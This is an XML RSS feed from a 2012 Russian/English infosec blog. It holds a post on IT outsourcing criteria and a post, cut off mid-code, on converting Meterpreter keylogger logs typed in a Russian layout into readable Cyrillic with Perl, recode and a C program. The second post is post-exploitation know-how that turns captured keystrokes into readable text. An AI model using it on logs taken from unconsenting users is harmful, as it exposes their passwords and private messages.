<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-7672604585980488566</atom:id><lastBuildDate>Fri, 10 Feb 2012 12:15:16 +0000</lastBuildDate><category>Cryptography</category><category>Wireless</category><category>Risk Analysis</category><category>Client security</category><category>Microsoft</category><category>IDS</category><category>Project Management</category><category>Architecture</category><category>Security Incidents</category><category>Technology</category><category>Standards</category><category>DLP and DRM/IRM</category><category>Fingerprinting</category><category>Social Engineering</category><category>Cisco</category><category>Security</category><category>Fun</category><category>Apple</category><category>ISS</category><category>Enhancements</category><category>Programming</category><category>Web</category><category>Psychology</category><category>Rootkits</category><category>SAP</category><category>Mobile Devices</category><category>Malware</category><category>Support</category><category>Trends</category><category>Physical Security</category><category>Compliance</category><category>Enterprise Security</category><category>Society</category><category>Operating Systems</category><category>Tools</category><category>Software</category><category>Russia</category><category>Miscellaneous</category><category>Virtualization</category><category>Spam</category><category>Outsourcing</category><category>Log Analysis</category><category>News</category><category>Offtopic</category><category>Audit</category><title>REPLY-TO-ALL Information Security Blog</title><description>REPLY-TO-ALL is a double language blog (English/Russian) run by three information security practitioners. Want to discuss information security problems? This is the place.</description><link>http://reply-to-all.blogspot.com/</link><managingEditor>noreply@blogger.com (Amiran Alavidze)</managingEditor><generator>Blogger</generator><openSearch:totalResults>139</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/reply-to-all" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="reply-to-all" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-8716812007770325081</guid><pubDate>Tue, 07 Feb 2012 10:33:00 +0000</pubDate><atom:updated>2012-02-10T16:15:16.872+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Outsourcing</category><category domain="http://www.blogger.com/atom/ns#">Enterprise Security</category><title>Все в аутсорсинг!</title><description>&lt;span style="font-family:arial;"&gt;Есть какой-то показатель - количество персонала на баррель добытой нефти (даже не смог быстро найти в Гугле как он называется). Смысл, в целом, понятен - чем меньше персонала, &lt;span style="font-weight: bold;"&gt;непрофильного&lt;/span&gt;, на баррель добытой нефти, тем нефтяная компания эффективнее. Говорят, это влияет на готовность банков давать кредиты, т.е. на размер заемного капитала. Ключевое слово здесь - "непрофильного". Отчасти от этого наблюдается тренд - функциональные подразделения ранее, теперь становятся подрядчиками. Не будем говорить , насколько аутсорсинг выгоден в условиях конкурентного рынка - вопрос сильно зависит от конкурентности среды (в РФ с конкуренцией ситуация особенная), также не будем говорить о том, что мерить фактическое количество персонала тоже достаточно глупо, - правильнее мерить себестоимость...&lt;br /&gt;&lt;br /&gt;Тем не менее, предприятия активно выводят непрофильный бизнес на рынок отчасти из-за желания улучшить указанный показатель.&lt;br /&gt;&lt;br /&gt;Поскольку все читали модные книжки про ITIL, CobIT и т.п., аутсорсинг ИТ - распространенное явление. Всем понятны процессы, метрики, услуги, компоненты, SLA-и и прочие атрибуты качественного аутсорсинга.&lt;br /&gt;&lt;br /&gt;Почему-то иногда (или зачастую), тем не менее, ИТ-аутсорсинговая компания остается дочерней компанией Заказчика. Это позволяет Заказчику влиять на различные &lt;span style="font-style: italic;"&gt;внутренние&lt;/span&gt; процессы Подрядчика, что, очевидно, перекашивает аутсорсинг.&lt;br /&gt;&lt;br /&gt;В частности, Зказачик может потребовать от Подрядчика сокращения численности. Может, по причине необходимости улучшения показателя о чем писалось ранее в этом посте (действительно, компания-то дочерняя!), может, еще по каким причинам. При этом, сокращая численность, никто не говорит о том, что следует сокращать объемы или снижать качество! Какое-то время Подрядчик крутится, оказывая прежний объем услуг уже сокращенной численностью (при этом, кстати, наблюдается нереальная рентабельность, правда, ценой "перегрева" ресурсов), но потом вынужден что-то придумывать... Мультисорсинг! Вот решение!&lt;br /&gt;&lt;br /&gt;В целом, нормальное решение - часть услуг, которые по каким-то критериям отобраны (отчасти этим критериям и посвящен пост, см ниже) передаются на рынок. При этом Подрядчик становится генподрядчиком, а фактические исполнители  этих, отобранных, услуг - на субподряде. Нормально. Только подход с замораживанием\сокращением штата - абсолютно неправильный, ибо штат - функция объемов, и стимулировать переход &lt;span style="font-style: italic;"&gt;некоторых&lt;/span&gt; услуг на рынок штатом - неправильно. Это приводит к "шоковому" аутсорсингу, который в итоге приводит (тут сильна зависимость от менеджмента: при талантливом руководстве, очевидно, "шоковость" может и не сказаться, но где его взять талантливого :-(....) к снижению качества услуг (построить непрерывный сервис из дырявой штатки - надо уметь!).&lt;br /&gt;&lt;br /&gt;Но, вернемся к тому, что мультисорсинг неплох и попробуем сформулировать критерии вывода услуг на рынок. Я бы предложил следующие критерии:&lt;br /&gt;1. &lt;span style="font-weight: bold;"&gt;Критичность&lt;/span&gt;. Как бы мы не верили в эффективный (== способный предоставить достойное качество сервиса) рынок, не все можно распродавать. Сюда относятся услуги, которые критичны по качеству, по доступности, по безопасности и т.п. Вопрос спорный, - идеалист может возразить, что теоретически можно все предусмотреть SLA-ем, но на практике создать идеальный SLA крайне сложно, а есть случаи, когда ошибаться нельзя. Тут еще такой момент: в высокотехнологичном сервисе, квалификация приемщика услуг должна быть не ниже Подрядчика, банально, чтобы понять и оценить. Да, мы придумываем метрики, пытаемся все померить и посчитать, чтобы численно выразить что такое плохо и что такое хорошо, но на практике не все так просто :-( Скажу даже больше, высококвалифицированный ИТшник, как и Безопасник должен постоянно быть "в бою", - и потому что для обладания экспертизой нужно иметь постоянную практику, и потому что в мире ИТ все крайне динамично меняется. В общем, как минимум, экспертиза какая-то быть должна надежная (== своя).&lt;br /&gt;2. &lt;span style="font-weight: bold;"&gt;Наличие предложения на рынке&lt;/span&gt;. Нам нужна конкуренция, как единственный механизм обеспечения качества. Если на рынке нет\мало поставщиков, удовлетворяющих всем необходимым требованиям, очевидно это нельзя зааутсорсить.&lt;br /&gt;3. &lt;span style="font-weight: bold;"&gt;Внутренние компетенции по услуге&lt;/span&gt;. Если мы обладаем высоким уровнем внутренней компетенции, бенчмаркинг показывает высокую эффективность (effectiveness &amp;amp; efficiency) нашего сервиса, это не надо продавать. Отсюда, кстати небольшое следствие: если что-то мы делать не умеем или делаем плохо, давайте попробуем это зааутсорсить. Но тут надо учесть то, что для приемки также нужна экспертиза (см. 1).&lt;br /&gt;4. &lt;span style="font-weight: bold;"&gt;Степень соответствия стратегии&lt;/span&gt;. Да, у Подрядчика тоже должна быть Стратегия и, как следует из ISACAиных книжек про Governance, она должна тесно коррелировать со стратегией Заказчика\Компании. Стратегически важные сервисы не надо продавать.&lt;br /&gt;5. &lt;span style="font-weight: bold;"&gt;Степень формализации требований Заказчика к услуге&lt;/span&gt;. Тут все понятно: не надо продавать то, что неформализовано, - тяжело оценить степень соответствия ожиданиям. Тоже, вроде как, все понятно, но если мы аутсорсимся потому что сами делаем плохо (п 3), очевидно оно у нас не формализовано, надо с этим что-то делать :-(&lt;br /&gt;6. &lt;span style="font-weight: bold;"&gt;Себестоимость&lt;/span&gt;. Критерий сильно коррелирует с 3, ибо полностью про efficiency, но, думаю его стоит выделить отдельно. Смысл прост: если что-то мы делаем дороже, чем можно это купить на рынке, это &lt;span style="font-style: italic;"&gt;стоит &lt;/span&gt;вывести на рынок. Если услуга на рынке стоит дороже, чем мы сами это делаем, лучше делать самому.&lt;br /&gt;&lt;br /&gt;Критерии спорные, но в любом случае, какие-то должны быть, чтобы процесс вывода сервисов был продуманным, тут очень важно не ошибаться.&lt;br /&gt;&lt;br /&gt;В заключение о правильном подходе:&lt;br /&gt;1. придумать критерии,&lt;br /&gt;2. пропустить через них все услуги Подрядчика&lt;br /&gt;3. Вывести то, что по критериям надо выводить.&lt;br /&gt;Идем от услуг и критериев, не от штата на баррель :-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-8716812007770325081?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2012/02/blog-post.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-294486171759511451</guid><pubDate>Mon, 23 Jan 2012 03:51:00 +0000</pubDate><atom:updated>2012-01-23T09:12:24.131+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Programming</category><title>Понять лог keylogrecorder</title><description>&lt;span style="font-family:arial;"&gt;   &lt;/span&gt;               &lt;style type="text/css"&gt;#toc, .toc, .mw-warning { border: 1px solid rgb(170, 170, 170); background-color: rgb(249, 249, 249); padding: 5px; font-size: 95%; }#toc h2, .toc h2 { display: inline; border: medium none; padding: 0pt; font-size: 100%; font-weight: bold; }#toc #toctitle, .toc #toctitle, #toc .toctitle, .toc .toctitle { text-align: center; }#toc ul, .toc ul { list-style-type: none; list-style-image: none; margin-left: 0pt; padding-left: 0pt; text-align: left; }#toc ul ul, .toc ul ul { margin: 0pt 0pt 0pt 2em; }#toc .toctoggle, .toc .toctoggle { font-size: 94%; }body { font-family: 'Liberation Serif'; font-style: normal; text-decoration: none; text-indent: 0in; color: rgb(0, 0, 0); font-weight: normal; font-variant: normal; text-align: left; font-size: 12pt; widows: 2; }table {  }td { border-collapse: collapse; text-align: left; vertical-align: top; }p, h1, h2, h3, li { color: rgb(0, 0, 0); font-family: 'Liberation Serif'; font-size: 12pt; text-align: left; }.preformatted_text { font-family: 'DejaVu Sans Mono'; font-size: 10pt; margin-bottom: 0in; margin-top: 0in; }&lt;/style&gt;       &lt;div style="font-family: arial;"&gt;    &lt;p&gt;&lt;a name="__DdeLink__2_951401926"&gt;&lt;/a&gt;Неплохая &lt;a href="http://habrahabr.ru/blogs/infosecurity/131112/"&gt;статья&lt;/a&gt; на Хабре о Meterpreter, способствует желанию все испробовать. Наибольший интерес, конечно, вызывает кейлоггер, - действительно, полезная штука. Проблема только в том, что, как правило, русские люди пишут по-русски, тогда как keylogrecorder, конечно, об этом не догадывается. Как следствие - просмотр логов его работы не дает желанных результатов :-(. Получается что-то типа такого:    &lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;$ cat test.txt&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Ujybvs dtiybvb kexfvb?&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;C jrhtcns[ ujh e;t cytuf&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;C,t;fkb venysvb hexmzvb&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Yf gjnjgktyyst keuf&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;&amp;lt;return&amp;gt; 'nj ntcn &amp;lt;ctrl&amp;gt; Ntcn 'nj &amp;lt;lctrl&amp;gt; &amp;lt;alt&amp;gt; Fktrcfylh Cthuttdbx Geirby&amp;lt;lmenu&amp;gt;&lt;/alt&gt;&lt;/lctrl&gt;&lt;/ctrl&gt;&lt;/return&gt;&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Может кто, возможно, глядя на это поймет что здесь написано, но я подобными способностями не обладаю.&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Первое что приходит на ум - Perl-овый tr, что-нибудь типа:&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;tr/`qwertyuiop[]asdfghjkl;'zxcvbnm,./ёйцукенгшщзхъфывапролджэячсмитьбю/&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;При этом программка выглядит так:&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;$ cat tr1.pl&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl -w&lt;br&gt;&lt;br&gt;while (){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;tr/`qwertyuiop[]asdfghjkl;'zxcvbnm,./ёйцукенгшщзхъфывапролджэячсмитьбю/;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;print;&lt;br&gt;}&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Но не все так просто, к моему глубочайшему сожалению. Русские буквы, бывает, кодируются UTF-8 в 2 байта, а английские - в 1 байт...&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Абсолютно рабочим вариантом является recode наш tr (всю Perl-овую программку) в кодировку где русские буквы однобайтовые, например так:&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;$ recode UTF-8..KOI8r tr-koi8r.pl&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Затем, этим tr-koi8r.pl можно уже транслировать продукт keylogrecorder-а.&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;$ cat test.txt | ./tr-koi8r.pl &amp;gt;test2.txt&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Помним, что у нас локаль - UTF-8...&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;у меня на Debian оно выглядит так:&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;$ locale&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LANG=en_US.utf8&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LANGUAGE=&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_CTYPE="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_NUMERIC="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_TIME="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_COLLATE="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_MONETARY="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_MESSAGES="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_PAPER="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_NAME="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_ADDRESS="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_TELEPHONE="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_MEASUREMENT="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_IDENTIFICATION="en_US.utf8"&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;LC_ALL=&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;..., поэтому результат, test2.txt, следует вернуть в юникод:&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;$ recode KOI8r..UTF-8 test2.txt&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;И..., вуаля, уже что-то:&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;$ cat test2.txt &lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Uонимы вешними лучами?&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;C окрестых гор уже снега&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Cбежали мутными ручьями&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Yа потопленные луга&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;&amp;lt;rуегкт&amp;gt; это тест &amp;lt;cекд&amp;gt; Nест это &amp;lt;lcекд&amp;gt; &amp;lt;aде&amp;gt; Fлександр Cергеевич Gушкин&amp;lt;lmутг&amp;gt;&lt;/lmутг&gt;&lt;/aде&gt;&lt;/lcекд&gt;&lt;/cекд&gt;&lt;/rуегкт&gt;&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Есть кое-какие артефакты, но это потому, что заглавные буквы я забыл (:-) указать в tr, перевелись и управляющие клавиши, типа &amp;lt;lctrl&amp;gt; &amp;lt;alt&amp;gt; и т.п. Тем, не менее, в целом, такой вариант перевода трудов keylogrecorder-а, также возможен: программка на Perl в три строчки, дважды recode и все!&lt;/alt&gt;&lt;/lctrl&gt;&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Но, почему-то этот варинат показался мне неспортивным! Решил тряхнуть стариной, написать транслятор на С. Последний раз я интенсивно писал на С уже как десять лет назад, поэтому не могу похвастаться что получилось все сразу просто и быстро. Но, в целом, ничего сложного в коде нет, поэтому не буду много разглагольствовать, просто приведу исходник. Программа учитывает управляющие последовательности типа &lt;lctrl&gt; &lt;alt&gt; (в коде это реализовано двумя способами, один из способов закомментарин, показался также неспортивным, но у него есть определенные преимущества перед вторым способом, поэтому полностью его убивать жаль), заглавные буквы, и пунктуацию в русской раскладке.&lt;/alt&gt;&lt;/lctrl&gt;&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in; font-family: courier new;"&gt;$ cat trc.c &lt;/p&gt;    &lt;br /&gt;&lt;br /&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in; font-family: courier new;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br&gt;#include &amp;lt;string.h&amp;gt;&lt;br&gt;&lt;br&gt;int checkIfCtrl(char *p);&lt;br&gt;&lt;br&gt;int main(int argc, char **argv){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;const int n = 512;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *buf, *buf2, *ten, *tru, *tb, *tb2;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *enl = "`qwertyuiop[]asdfghjkl;'zxcvbnm,.~QWERTYUIOP{}ASDFGHJKL:ZXCVBNM&amp;lt;&amp;gt;\"";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *rul = "ёйцукенгшщзхъфывапролджэячсмитьбюЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЯЧСМИТЬБЮЭ";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *enl1 = "/?&amp;^$";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *rul1 = ".,?:;";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int b = (int) strlen(rul)/strlen(enl), i;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;//char *words[] = {"&amp;lt;Next&amp;gt;","&amp;lt;Prior&amp;gt;","&amp;lt;Return&amp;gt;","&amp;lt;Ctrl&amp;gt;","&amp;lt;LCtrl&amp;gt;","&amp;lt;Alt&amp;gt;","&amp;lt;LMenu&amp;gt;","&amp;lt;Back&amp;gt;","&amp;lt;Delete&amp;gt;","&amp;lt;N3&amp;gt;","&amp;lt;N0&amp;gt;","&amp;lt;Right&amp;gt;","&amp;lt;Tab&amp;gt;"};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;//int wn = 13; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int wil;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;buf = (char *) malloc(n);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(buf,0,n);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;buf2 = (char *) malloc(n*b);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(buf2,0,n*b);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while( 0 != fgets(buf,n,stdin) ){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tb2 = buf2;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for(tb = buf; *tb != '\0'; tb++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/*for (i=0; i&amp;lt;wn; i++){ //ctrl&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wil = strlen(words[i]);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (strncmp(tb,words[i],wil) == 0){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memcpy(tb2,tb,wil);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tb += wil;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tb2 += wil;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}*/&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if( (wil = checkIfCtrl(tb)) &amp;gt; 0){ //ctrl&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memcpy(tb2,tb,wil);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tb += wil;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tb2 += 